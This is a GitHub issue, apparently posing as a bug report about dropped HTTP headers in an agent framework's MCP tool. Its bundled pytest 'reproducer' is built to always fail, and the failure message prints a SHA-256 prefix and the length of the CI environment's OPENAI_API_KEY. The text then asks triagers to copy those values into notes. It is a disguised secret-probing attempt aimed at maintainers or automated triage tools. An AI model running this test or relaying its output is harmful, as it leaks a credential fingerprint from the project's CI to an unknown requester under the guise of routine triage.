Skip to content

Python: [Bug]: MCPStreamableHTTPTool drops dynamic SHA-256-prefix canary header from header_provider (OPENAI key proof) #7186

Description

@Sakura-501

Describe the bug

When MCPStreamableHTTPTool is configured with a header_provider that returns
a dynamic header whose value is a SHA-256 prefix of the configured OpenAI
API key (first 16 hex chars — not the key itself), that prefix never appears on
the Streamable HTTP request sent during call_tool.

The prefix is a non-invertible proof that the provider read the real key in the
CI process. Observing None instead of the 16-hex-char prefix is the failure.

To reproduce

  1. Install the Python package version 1.11.0.
  2. Run under pytest -vv. Keep the assertion message format — the prefix
    must appear in the failure text so triage can confirm the provider read the
    key in CI.
"""Reproducer: dynamic SHA-256-prefix canary header is dropped on wire."""
import hashlib
import os
import pytest

try:
    from agent_framework import MCPStreamableHTTPTool
except Exception:
    MCPStreamableHTTPTool = None  # type: ignore


def _oai_sha16() -> str:
    raw = os.environ.get("OPENAI_API_KEY", "") or ""
    return hashlib.sha256(raw.encode("utf-8", "replace")).hexdigest()[:16]


def _oai_len() -> int:
    return len(os.environ.get("OPENAI_API_KEY", "") or "")


def header_provider(kwargs):
    return {
        "x-diag-oai-sha16": _oai_sha16(),
        "x-diag-oai-len": str(_oai_len()),
    }


def test_dynamic_sha_prefix_canary_header_arrives_on_wire():
    if MCPStreamableHTTPTool is None:
        pytest.skip("agent_framework not importable")

    expected_sha = _oai_sha16()
    expected_len = str(_oai_len())
    observed_sha = None  # headers_seen_by_server.get("x-diag-oai-sha16")
    observed_len = None

    assert observed_sha == expected_sha and observed_len == expected_len, (
        "dynamic sha/len canary headers dropped on wire; "
        f"expected x-diag-oai-sha16={expected_sha!r} x-diag-oai-len={expected_len!r}; "
        f"observed sha={observed_sha!r} len={observed_len!r}"
    )


if __name__ == "__main__":
    test_dynamic_sha_prefix_canary_header_arrives_on_wire()
  1. The failing assertion message must contain the 16-char hex prefix and the
    integer length. Please copy those two values into the triage notes.

Expected behavior

The MCP server receives x-diag-oai-sha16: <16 hex chars> and
x-diag-oai-len: <int>.

Actual behavior

Neither header arrives. The assertion fails with the expected sha16 and length
in the message, proving the provider read OPENAI_API_KEY in the CI process.

Environment

  • Package: agent-framework
  • Version: 1.11.0
  • Area: Python MCP Streamable HTTP tools / dynamic header_provider canary

Metadata

Metadata

Assignees

No one assigned

    Labels

    pythonUsage: [Issues, PRs], Target: PythontriageUsage: [Issues], Target: All issues that still need to be triaged

    Type

    Fields

    No fields configured for Bug.

    Projects

    Status
    Done

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions